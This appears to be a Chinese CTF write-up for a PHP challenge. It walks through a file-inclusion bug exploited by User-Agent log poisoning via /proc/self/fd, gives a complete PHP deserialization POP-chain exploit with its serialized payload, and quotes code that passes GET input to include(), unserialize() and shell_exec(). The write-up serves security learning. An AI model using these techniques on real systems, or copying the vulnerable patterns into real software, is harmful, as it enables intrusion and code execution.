only 4
题目页面进去就是源码,传入两个参数一个用来包含,一个来触发反序列化。发现有个secret.php但是无法直接包含。但是由于我一开始并不知道要包含的文件是啥卡了很久。之后就只使用文件包含来非预期解了。
<?php
highlight_file('index.php');
error_reporting(0);
$gwht= $_GET["gwht"];
$ycb= $_GET["ycb"];
if(preg_match("/flag/",$gwht)){
die('hack' );
}
if(preg_match("/secret/",$gwht)){
die('hack' );
}
include($gwht);
if(isset($ycb)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/Flag/",$value)) {
die('not hit');
exit();
}
}
$YCB = unserialize($ycb);
}else{
echo "what are you doing";
}
?>
用dirsearch扫描网站发现啥也没有,尝试直接包含文件读/proc/self/cmdline发现是apache的服务器,尝试读日志/var/log/apache2/access.log无回显,应该是权限不够。
尝试读取环境变量/proc/self/environ无回显,尝试遍历/proc/self/fd发现error日志和access日志。可以想到使用包含日志getshell但是插入到url中会进行编码无法构造php代码,想到access日志还会记录ua头,尝试将ua头设置成php代码然后包含access日志
/proc/pid/fd 是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor),这些文件描述符是指向实际文件的一个符号链接
/proc/self/environ 是当前进程的环境变量列表,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示
继续尝试发现/proc/self/fd/8为access日志,修改ua头为php代码,包含access日志,成功解析phpinfo
成功执行任意php代码直接读取flag,之后ls发现目录中有一个serialize.php文件,分别读取两个文件
直接用base64输出看看
后面其实还有几个考点的都被我跳过了哈哈哈哈
serialize.php,是一个简单反序列化构造pop链,下面我也给出exp,不会反序列化的可以看一下我之前的文章反序列化漏洞
<?php
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}
class funct
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}
class func
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class string1
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo highlight_file('secret.php');
}
}
$a = new GetFlag();
$b = new string1();
$b->str1=$a;
$c = new func();
$c->mod1 = $b;
$d = new funct();
$d->mod1 = $c;
$e = new start_gg();
$e->mod1=$d;
echo serialize($e);
//O:8:"start_gg":2:{s:4:"mod1";O:5:"funct":2:{s:4:"mod1";O:4:"func":2:{s:4:"mod1";O:7:"string1":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}
?>
secret.php,4位命令执行,网上搜也有解法,就是第一步卡住了
<?php
error_reporting(0);
if(strlen($_GET['SXF'])<5){
echo shell_exec($_GET['SXF']);
}
?>